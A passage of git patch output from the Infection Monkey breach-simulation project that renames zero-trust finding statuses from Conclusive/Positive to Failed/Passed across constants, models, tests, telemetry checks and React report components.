    ; }, maxWidth: 200, style: {'whiteSpace': 'unset'} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js index 05905bccc..0564b8364 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/ReportLegend.js @@ -35,7 +35,7 @@ class ZeroTrustReportLegend extends Component { with the tests results.

    Statuses

    -
      +
      • diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarRecommendationsStatus.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarRecommendationsStatus.js index 4b437b837..1ce02afce 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarRecommendationsStatus.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/SinglePillarRecommendationsStatus.js @@ -15,7 +15,7 @@ export default class SinglePillarRecommendationsStatus extends AuthComponent { -

        +

        diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js index 6985607a0..c7a13d52a 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/venn-components/VennDiagram.js @@ -35,14 +35,8 @@ class VennDiagram extends React.Component { People: {cx: -this.width2By7, cy: 0, r: this.sixthWidth, offset: {x: this.width1By11, y: 0}, popover: 'right'}, Networks: {cx: this.width2By7, cy: 0, r: this.sixthWidth, offset: {x: -this.width1By11, y: 0}, popover: 'left'}, Devices: {cx: 0, cy: this.width2By7, r: this.sixthWidth, offset: {x: 0, y: -this.width1By11}, popover: 'top'}, - Workloads: { - cx: 0, - cy: -this.width2By7, - r: this.sixthWidth, - offset: {x: 0, y: this.width1By11}, - popover: 'bottom' - }, - VisibilityAndAnalytics: {inner: this.thirdWidth - this.width1By28, outer: this.thirdWidth, popover: 'left'}, + Workloads: {cx: 0, cy: -this.width2By7, r: this.sixthWidth, offset: {x: 0, y: this.width1By11}, popover: 'bottom'}, + VisibilityAndAnalytics: {inner: this.thirdWidth - this.width1By28, outer: this.thirdWidth, popover: 'right'}, AutomationAndOrchestration: { inner: this.thirdWidth - this.width1By28 * 2 - this.arcNodesGap, outer: this.thirdWidth - this.width1By28 - this.arcNodesGap, From dfebf5e841ff91287b03f6261bcd4cd12638f45f Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Wed, 28 Aug 2019 11:59:33 +0300 Subject: [PATCH 168/276] Replaced Conclusive with Failed, and Positive with Passed --- monkey/common/data/zero_trust_consts.py | 36 +++---- .../cc/models/zero_trust/finding.py | 13 +-- .../models/zero_trust/segmentation_finding.py | 30 +++--- .../cc/models/zero_trust/test_finding.py | 6 +- .../zero_trust/test_segmentation_finding.py | 10 +- monkey/monkey_island/cc/server_config.json | 2 +- .../reporting/test_zero_trust_service.py | 98 +++++++++---------- .../services/reporting/zero_trust_service.py | 8 +- .../cc/services/telemetry/processing/state.py | 4 +- .../zero_trust_tests/antivirus_existence.py | 6 +- .../zero_trust_tests/data_endpoints.py | 8 +- .../zero_trust_tests/machine_exploited.py | 4 +- .../zero_trust_tests/segmentation.py | 8 +- .../test_segmentation_zt_tests.py | 15 +-- .../components/pages/ZeroTrustReportPage.js | 9 +- .../zerotrust/PillarOverview.js | 18 +--- .../zerotrust/RecommendationsStatusTable.js | 14 +-- .../zerotrust/ReportLegend.js | 4 +- .../zerotrust/StatusLabel.js | 8 +- .../zerotrust/StatusesToPillarsSummary.js | 9 +- .../zerotrust/ZeroTrustPillars.js | 4 +- .../zerotrust/venn-components/VennDiagram.js | 17 ++-- 22 files changed, 153 insertions(+), 178 deletions(-) diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py index 62d44b554..8c67f5ebf 100644 --- a/monkey/common/data/zero_trust_consts.py +++ b/monkey/common/data/zero_trust_consts.py @@ -16,11 +16,11 @@ DATA = u"Data" PILLARS = (DATA, PEOPLE, NETWORKS, DEVICES, WORKLOADS, VISIBILITY_ANALYTICS, AUTOMATION_ORCHESTRATION) STATUS_UNEXECUTED = u"Unexecuted" -STATUS_POSITIVE = u"Positive" +STATUS_PASSED = u"Passed" STATUS_INCONCLUSIVE = u"Inconclusive" -STATUS_CONCLUSIVE = u"Conclusive" +STATUS_FAILED = u"Failed" # Don't change order! The statuses are ordered by importance/severity. -ORDERED_TEST_STATUSES = [STATUS_CONCLUSIVE, STATUS_INCONCLUSIVE, STATUS_POSITIVE, STATUS_UNEXECUTED] +ORDERED_TEST_STATUSES = [STATUS_FAILED, STATUS_INCONCLUSIVE, STATUS_PASSED, STATUS_UNEXECUTED] TEST_DATA_ENDPOINT_ELASTIC = u"unencrypted_data_endpoint_elastic" TEST_DATA_ENDPOINT_HTTP = u"unencrypted_data_endpoint_http" @@ -61,12 +61,12 @@ TESTS_MAP = { TEST_SEGMENTATION: { TEST_EXPLANATION_KEY: u"The Monkey tried to scan and find machines that it can communicate with from the machine it's running on, that belong to different network segments.", FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_CONCLUSIVE: "Monkey performed cross-segment communication. Check firewall rules and logs.", - STATUS_POSITIVE: "Monkey couldn't perform cross-segment communication. If relevant, check firewall logs." + STATUS_FAILED: "Monkey performed cross-segment communication. Check firewall rules and logs.", + STATUS_PASSED: "Monkey couldn't perform cross-segment communication. If relevant, check firewall logs." }, RECOMMENDATION_KEY: RECOMMENDATION_SEGMENTATION, PILLARS_KEY: [NETWORKS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_POSITIVE, STATUS_CONCLUSIVE] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED] }, TEST_MALICIOUS_ACTIVITY_TIMELINE: { TEST_EXPLANATION_KEY: u"The Monkeys in the network performed malicious-looking actions, like scanning and attempting exploitation.", @@ -80,22 +80,22 @@ TESTS_MAP = { TEST_ENDPOINT_SECURITY_EXISTS: { TEST_EXPLANATION_KEY: u"The Monkey checked if there is an active process of an endpoint security software.", FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_CONCLUSIVE: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus software on endpoints.", - STATUS_POSITIVE: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a security concern." + STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus software on endpoints.", + STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a security concern." }, RECOMMENDATION_KEY: RECOMMENDATION_ENDPOINT_SECURITY, PILLARS_KEY: [DEVICES], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_CONCLUSIVE, STATUS_POSITIVE] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] }, TEST_MACHINE_EXPLOITED: { TEST_EXPLANATION_KEY: u"The Monkey tries to exploit machines in order to breach them and propagate in the network.", FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_CONCLUSIVE: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see which endpoints were compromised.", - STATUS_POSITIVE: "Monkey didn't manage to exploit an endpoint." + STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see which endpoints were compromised.", + STATUS_PASSED: "Monkey didn't manage to exploit an endpoint." }, RECOMMENDATION_KEY: RECOMMENDATION_ENDPOINT_SECURITY, PILLARS_KEY: [DEVICES], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_CONCLUSIVE, STATUS_INCONCLUSIVE] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_INCONCLUSIVE] }, TEST_SCHEDULED_EXECUTION: { TEST_EXPLANATION_KEY: "The Monkey was executed in a scheduled manner.", @@ -109,22 +109,22 @@ TESTS_MAP = { TEST_DATA_ENDPOINT_ELASTIC: { TEST_EXPLANATION_KEY: u"The Monkey scanned for unencrypted access to ElasticSearch instances.", FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_CONCLUSIVE: "Monkey accessed ElasticSearch instances. Limit access to data by encrypting it in in-transit.", - STATUS_POSITIVE: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts that indicate attempts to access them." + STATUS_FAILED: "Monkey accessed ElasticSearch instances. Limit access to data by encrypting it in in-transit.", + STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts that indicate attempts to access them." }, RECOMMENDATION_KEY: RECOMMENDATION_DATA_TRANSIT, PILLARS_KEY: [DATA], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_CONCLUSIVE, STATUS_POSITIVE] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] }, TEST_DATA_ENDPOINT_HTTP: { TEST_EXPLANATION_KEY: u"The Monkey scanned for unencrypted access to HTTP servers.", FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_CONCLUSIVE: "Monkey accessed HTTP servers. Limit access to data by encrypting it in in-transit.", - STATUS_POSITIVE: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate attempts to access them." + STATUS_FAILED: "Monkey accessed HTTP servers. Limit access to data by encrypting it in in-transit.", + STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate attempts to access them." }, RECOMMENDATION_KEY: RECOMMENDATION_DATA_TRANSIT, PILLARS_KEY: [DATA], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_CONCLUSIVE, STATUS_POSITIVE] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] }, } diff --git a/monkey/monkey_island/cc/models/zero_trust/finding.py b/monkey/monkey_island/cc/models/zero_trust/finding.py index 382f7e5fb..4027690c8 100644 --- a/monkey/monkey_island/cc/models/zero_trust/finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/finding.py @@ -16,12 +16,13 @@ class Finding(Document): This model represents a Zero-Trust finding: A result of a test the monkey/island might perform to see if a specific recommendation of zero trust is upheld or broken. - Findings might be - Negative ❌ - Conclusive, meaning that we are sure that something is wrong (example: segmentation issue). - Inconclusive, meaning that we need the user to check something himself (example: 2FA logs, AV missing). - Positive ✔ - Conclusive, meaning that we are sure that something is correct (example: Monkey failed exploiting). + Findings might have the following statuses: + Failed ❌ + Meaning that we are sure that something is wrong (example: segmentation issue). + Inconclusive ⁉ + Meaning that we need the user to check something himself (example: 2FA logs, AV missing). + Passed ✔ + Meaning that we are sure that something is correct (example: Monkey failed exploiting). This class has 2 main section: * The schema section defines the DB fields in the document. This is the data of the object. diff --git a/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py b/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py index 428af72cb..716548453 100644 --- a/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/segmentation_finding.py @@ -1,30 +1,34 @@ from mongoengine import StringField -from common.data.zero_trust_consts import TEST_SEGMENTATION, STATUS_CONCLUSIVE, STATUS_POSITIVE +from common.data.zero_trust_consts import TEST_SEGMENTATION, STATUS_FAILED, STATUS_PASSED from monkey_island.cc.models.zero_trust.finding import Finding def need_to_overwrite_status(saved_status, new_status): - return (saved_status == STATUS_POSITIVE) and (new_status == STATUS_CONCLUSIVE) + return (saved_status == STATUS_PASSED) and (new_status == STATUS_FAILED) class SegmentationFinding(Finding): - """ - trying to add conclusive: - If the finding doesn't exist at all: create conclusive - else: - if positive, turn to conclusive - add event - - trying to add positive: - If the finding doesn't exist at all: create positive - else: add event - """ first_subnet = StringField() second_subnet = StringField() @staticmethod def create_or_add_to_existing_finding(subnets, status, segmentation_event): + """ + If you're trying to add a Failed finding: + If the finding doesn't exist at all: create failed + else: + if pass, turn to fail + add event + + If you're trying to add a Passed finding: + If the finding doesn't exist at all: create Passed + else: add event + + :param subnets: the 2 subnets of this finding. + :param status: STATUS_PASSED or STATUS_FAILED + :param segmentation_event: The specific event + """ assert len(subnets) == 2 # Sort them so A -> B and B -> A segmentation findings will be the same one. diff --git a/monkey/monkey_island/cc/models/zero_trust/test_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_finding.py index 6ac0a9fc8..88a33d5d3 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_finding.py @@ -19,7 +19,7 @@ class TestFinding(IslandTestCase): self.clean_finding_db() with self.assertRaises(ValidationError): - _ = Finding.save_finding(test="bla bla", status=STATUS_CONCLUSIVE, events=[]) + _ = Finding.save_finding(test="bla bla", status=STATUS_FAILED, events=[]) with self.assertRaises(ValidationError): _ = Finding.save_finding(test=TEST_SEGMENTATION, status="bla bla", events=[]) @@ -32,7 +32,7 @@ class TestFinding(IslandTestCase): event_example = Event.create_event( title="Event Title", message="event message", event_type=EVENT_TYPE_MONKEY_NETWORK) - Finding.save_finding(test=TEST_SEGMENTATION, status=STATUS_CONCLUSIVE, events=[event_example]) + Finding.save_finding(test=TEST_SEGMENTATION, status=STATUS_FAILED, events=[event_example]) self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION)), 1) - self.assertEquals(len(Finding.objects(status=STATUS_CONCLUSIVE)), 1) + self.assertEquals(len(Finding.objects(status=STATUS_FAILED)), 1) diff --git a/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py index ad3ff9b97..80e564a17 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_segmentation_finding.py @@ -1,4 +1,4 @@ -from common.data.zero_trust_consts import STATUS_CONCLUSIVE, EVENT_TYPE_MONKEY_NETWORK +from common.data.zero_trust_consts import STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.testing.IslandTestCase import IslandTestCase from monkey_island.cc.models.zero_trust.segmentation_finding import SegmentationFinding @@ -16,7 +16,7 @@ class TestSegmentationFinding(IslandTestCase): SegmentationFinding.create_or_add_to_existing_finding( subnets=[first_segment, second_segment], - status=STATUS_CONCLUSIVE, + status=STATUS_FAILED, segmentation_event=event ) @@ -26,7 +26,7 @@ class TestSegmentationFinding(IslandTestCase): SegmentationFinding.create_or_add_to_existing_finding( # !!! REVERSE ORDER subnets=[second_segment, first_segment], - status=STATUS_CONCLUSIVE, + status=STATUS_FAILED, segmentation_event=event ) @@ -36,7 +36,7 @@ class TestSegmentationFinding(IslandTestCase): SegmentationFinding.create_or_add_to_existing_finding( # !!! REVERSE ORDER subnets=[first_segment, third_segment], - status=STATUS_CONCLUSIVE, + status=STATUS_FAILED, segmentation_event=event ) @@ -45,7 +45,7 @@ class TestSegmentationFinding(IslandTestCase): SegmentationFinding.create_or_add_to_existing_finding( # !!! REVERSE ORDER subnets=[second_segment, third_segment], - status=STATUS_CONCLUSIVE, + status=STATUS_FAILED, segmentation_event=event ) diff --git a/monkey/monkey_island/cc/server_config.json b/monkey/monkey_island/cc/server_config.json index 7bf106194..420f1b303 100644 --- a/monkey/monkey_island/cc/server_config.json +++ b/monkey/monkey_island/cc/server_config.json @@ -1,4 +1,4 @@ { - "server_config": "testing", + "server_config": "standard", "deployment": "develop" } diff --git a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py index 790f757dd..2bd74c796 100644 --- a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py +++ b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py @@ -7,9 +7,9 @@ from monkey_island.cc.testing.IslandTestCase import IslandTestCase def save_example_findings(): # arrange - Finding.save_finding(TEST_ENDPOINT_SECURITY_EXISTS, STATUS_POSITIVE, []) # devices positive = 1 - Finding.save_finding(TEST_ENDPOINT_SECURITY_EXISTS, STATUS_POSITIVE, []) # devices positive = 2 - Finding.save_finding(TEST_ENDPOINT_SECURITY_EXISTS, STATUS_CONCLUSIVE, []) # devices conclusive = 1 + Finding.save_finding(TEST_ENDPOINT_SECURITY_EXISTS, STATUS_PASSED, []) # devices passed = 1 + Finding.save_finding(TEST_ENDPOINT_SECURITY_EXISTS, STATUS_PASSED, []) # devices passed = 2 + Finding.save_finding(TEST_ENDPOINT_SECURITY_EXISTS, STATUS_FAILED, []) # devices failed = 1 # devices unexecuted = 1 # people inconclusive = 1 # networks inconclusive = 1 @@ -17,22 +17,22 @@ def save_example_findings(): # people inconclusive = 2 # networks inconclusive = 2 Finding.save_finding(TEST_SCHEDULED_EXECUTION, STATUS_INCONCLUSIVE, []) - # data conclusive 1 - Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_CONCLUSIVE, []) - # data conclusive 2 - Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_CONCLUSIVE, []) - # data conclusive 3 - Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_CONCLUSIVE, []) - # data conclusive 4 - Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_CONCLUSIVE, []) - # data conclusive 5 - Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_CONCLUSIVE, []) + # data failed 1 + Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, []) + # data failed 2 + Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, []) + # data failed 3 + Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, []) + # data failed 4 + Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, []) + # data failed 5 + Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, []) # data inconclusive 1 Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_INCONCLUSIVE, []) # data inconclusive 2 Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_INCONCLUSIVE, []) - # data positive 1 - Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_POSITIVE, []) + # data passed 1 + Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_PASSED, []) class TestZeroTrustService(IslandTestCase): @@ -44,52 +44,52 @@ class TestZeroTrustService(IslandTestCase): expected = [ { - "Conclusive": 5, - "Inconclusive": 2, - "Positive": 1, - "Unexecuted": 1, + STATUS_FAILED: 5, + STATUS_INCONCLUSIVE: 2, + STATUS_PASSED: 1, + STATUS_UNEXECUTED: 1, "pillar": "Data" }, { - "Conclusive": 0, - "Inconclusive": 2, - "Positive": 0, - "Unexecuted": 0, + STATUS_FAILED: 0, + STATUS_INCONCLUSIVE: 2, + STATUS_PASSED: 0, + STATUS_UNEXECUTED: 0, "pillar": "People" }, { - "Conclusive": 0, - "Inconclusive": 2, - "Positive": 0, - "Unexecuted": 2, + STATUS_FAILED: 0, + STATUS_INCONCLUSIVE: 2, + STATUS_PASSED: 0, + STATUS_UNEXECUTED: 2, "pillar": "Networks" }, { - "Conclusive": 1, - "Inconclusive": 0, - "Positive": 2, - "Unexecuted": 1, + STATUS_FAILED: 1, + STATUS_INCONCLUSIVE: 0, + STATUS_PASSED: 2, + STATUS_UNEXECUTED: 1, "pillar": "Devices" }, { - "Conclusive": 0, - "Inconclusive": 0, - "Positive": 0, - "Unexecuted": 0, + STATUS_FAILED: 0, + STATUS_INCONCLUSIVE: 0, + STATUS_PASSED: 0, + STATUS_UNEXECUTED: 0, "pillar": "Workloads" }, { - "Conclusive": 0, - "Inconclusive": 0, - "Positive": 0, - "Unexecuted": 1, + STATUS_FAILED: 0, + STATUS_INCONCLUSIVE: 0, + STATUS_PASSED: 0, + STATUS_UNEXECUTED: 1, "pillar": "Visibility & Analytics" }, { - "Conclusive": 0, - "Inconclusive": 0, - "Positive": 0, - "Unexecuted": 0, + STATUS_FAILED: 0, + STATUS_INCONCLUSIVE: 0, + STATUS_PASSED: 0, + STATUS_UNEXECUTED: 0, "pillar": "Automation & Orchestration" } ] @@ -109,14 +109,14 @@ class TestZeroTrustService(IslandTestCase): DATA: [ { "recommendation": RECOMMENDATIONS[RECOMMENDATION_DATA_TRANSIT], - "status": STATUS_CONCLUSIVE, + "status": STATUS_FAILED, "tests": [ { "status": STATUS_UNEXECUTED, "test": TESTS_MAP[TEST_DATA_ENDPOINT_ELASTIC][TEST_EXPLANATION_KEY] }, { - "status": STATUS_CONCLUSIVE, + "status": STATUS_FAILED, "test": TESTS_MAP[TEST_DATA_ENDPOINT_HTTP][TEST_EXPLANATION_KEY] } ] @@ -125,10 +125,10 @@ class TestZeroTrustService(IslandTestCase): DEVICES: [ { "recommendation": RECOMMENDATIONS[RECOMMENDATION_ENDPOINT_SECURITY], - "status": STATUS_CONCLUSIVE, + "status": STATUS_FAILED, "tests": [ { - "status": STATUS_CONCLUSIVE, + "status": STATUS_FAILED, "test": TESTS_MAP[TEST_ENDPOINT_SECURITY_EXISTS][TEST_EXPLANATION_KEY] }, { @@ -221,12 +221,12 @@ class TestZeroTrustService(IslandTestCase): expected = { AUTOMATION_ORCHESTRATION: STATUS_UNEXECUTED, - DEVICES: STATUS_CONCLUSIVE, + DEVICES: STATUS_FAILED, NETWORKS: STATUS_INCONCLUSIVE, PEOPLE: STATUS_INCONCLUSIVE, VISIBILITY_ANALYTICS: STATUS_UNEXECUTED, WORKLOADS: STATUS_UNEXECUTED, - DATA: STATUS_CONCLUSIVE + DATA: STATUS_FAILED } self.assertEquals(ZeroTrustService.get_pillars_to_statuses(), expected) diff --git a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py index 2db61cdc5..d8f6c87e9 100644 --- a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py +++ b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py @@ -16,9 +16,9 @@ class ZeroTrustService(object): all_findings = Finding.objects() pillar_grade = { "pillar": pillar, - STATUS_CONCLUSIVE: 0, + STATUS_FAILED: 0, STATUS_INCONCLUSIVE: 0, - STATUS_POSITIVE: 0, + STATUS_PASSED: 0, STATUS_UNEXECUTED: 0 } @@ -123,9 +123,9 @@ class ZeroTrustService(object): @staticmethod def get_statuses_to_pillars(): results = { - STATUS_CONCLUSIVE: [], + STATUS_FAILED: [], STATUS_INCONCLUSIVE: [], - STATUS_POSITIVE: [], + STATUS_PASSED: [], STATUS_UNEXECUTED: [] } for pillar in PILLARS: diff --git a/monkey/monkey_island/cc/services/telemetry/processing/state.py b/monkey/monkey_island/cc/services/telemetry/processing/state.py index 46176c9b9..f6461dd3f 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/state.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/state.py @@ -1,6 +1,6 @@ from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.telemetry.zero_trust_tests.segmentation import \ - test_positive_findings_for_unreached_segments + test_passed_findings_for_unreached_segments def process_state_telemetry(telemetry_json): @@ -12,4 +12,4 @@ def process_state_telemetry(telemetry_json): NodeService.set_monkey_dead(monkey, False) if telemetry_json['data']['done']: - test_positive_findings_for_unreached_segments(telemetry_json) + test_passed_findings_for_unreached_segments(telemetry_json) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py index c86838476..acfdf1643 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py @@ -1,7 +1,7 @@ import json from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_ISLAND, \ - STATUS_POSITIVE, STATUS_CONCLUSIVE, TEST_ENDPOINT_SECURITY_EXISTS + STATUS_PASSED, STATUS_FAILED, TEST_ENDPOINT_SECURITY_EXISTS from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.finding import Finding @@ -28,9 +28,9 @@ def test_antivirus_existence(telemetry_json): )) if len(av_processes) > 0: - test_status = STATUS_POSITIVE + test_status = STATUS_PASSED else: - test_status = STATUS_CONCLUSIVE + test_status = STATUS_FAILED Finding.save_finding(test=TEST_ENDPOINT_SECURITY_EXISTS, status=test_status, events=events) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py index c7b0f5219..65d044b19 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py @@ -11,8 +11,8 @@ HTTP_SERVERS_SERVICES_NAMES = ['tcp-80'] def test_open_data_endpoints(telemetry_json): services = telemetry_json["data"]["machine"]["services"] current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) - found_http_server_status = STATUS_POSITIVE - found_elastic_search_server = STATUS_POSITIVE + found_http_server_status = STATUS_PASSED + found_elastic_search_server = STATUS_PASSED events = [ Event.create_event( @@ -32,7 +32,7 @@ def test_open_data_endpoints(telemetry_json): event_type=EVENT_TYPE_ISLAND )) if service_name in HTTP_SERVERS_SERVICES_NAMES: - found_http_server_status = STATUS_CONCLUSIVE + found_http_server_status = STATUS_FAILED events.append(Event.create_event( title="Scan telemetry analysis", message="Service {} on {} recognized as an open data endpoint! Service details: {}".format( @@ -43,7 +43,7 @@ def test_open_data_endpoints(telemetry_json): event_type=EVENT_TYPE_ISLAND )) if service_name in 'elastic-search-9200': - found_elastic_search_server = STATUS_CONCLUSIVE + found_elastic_search_server = STATUS_FAILED events.append(Event.create_event( title="Scan telemetry analysis", message="Service {} on {} recognized as an open data endpoint! Service details: {}".format( diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py index 3a5f78bcb..d4f8c53c1 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py @@ -18,7 +18,7 @@ def test_machine_exploited(telemetry_json): ) ] - status = STATUS_POSITIVE + status = STATUS_PASSED if telemetry_json['data']['result']: events.append( @@ -31,7 +31,7 @@ def test_machine_exploited(telemetry_json): event_type=EVENT_TYPE_MONKEY_NETWORK, timestamp=telemetry_json['timestamp']) ) - status = STATUS_CONCLUSIVE + status = STATUS_FAILED Finding.save_finding( test=TEST_MACHINE_EXPLOITED, diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py index bb447d992..763c46b2f 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py @@ -1,7 +1,7 @@ import itertools from six import text_type -from common.data.zero_trust_consts import STATUS_CONCLUSIVE, EVENT_TYPE_MONKEY_NETWORK, STATUS_POSITIVE, \ +from common.data.zero_trust_consts import STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK, STATUS_PASSED, \ EVENT_TYPE_ISLAND from common.network.network_range import NetworkRange from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst, get_ip_if_in_subnet @@ -45,7 +45,7 @@ def test_segmentation_violation(scan_telemetry_json): event = get_segmentation_violation_event(current_monkey, source_subnet, target_ip, target_subnet) SegmentationFinding.create_or_add_to_existing_finding( subnets=[source_subnet, target_subnet], - status=STATUS_CONCLUSIVE, + status=STATUS_FAILED, segmentation_event=event ) @@ -64,7 +64,7 @@ def get_segmentation_violation_event(current_monkey, source_subnet, target_ip, t ) -def test_positive_findings_for_unreached_segments(state_telemetry_json): +def test_passed_findings_for_unreached_segments(state_telemetry_json): flat_all_subnets = [item for sublist in get_config_network_segments_as_subnet_groups() for item in sublist] current_monkey = Monkey.get_single_monkey_by_guid(state_telemetry_json['monkey_guid']) create_or_add_findings_for_all_pairs(flat_all_subnets, current_monkey) @@ -87,7 +87,7 @@ def create_or_add_findings_for_all_pairs(all_subnets, current_monkey): for subnet_pair in all_subnets_pairs_for_this_monkey: SegmentationFinding.create_or_add_to_existing_finding( subnets=list(subnet_pair), - status=STATUS_POSITIVE, + status=STATUS_PASSED, segmentation_event=Event.create_event( "Segmentation test done", message="Monkey on {hostname} is done attempting cross-segment communications from `{src_seg}` " diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py index f345d4482..5f986e3b5 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py @@ -1,6 +1,6 @@ import uuid -from common.data.zero_trust_consts import TEST_SEGMENTATION, STATUS_POSITIVE, STATUS_CONCLUSIVE, \ +from common.data.zero_trust_consts import TEST_SEGMENTATION, STATUS_PASSED, STATUS_FAILED, \ EVENT_TYPE_MONKEY_NETWORK from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.event 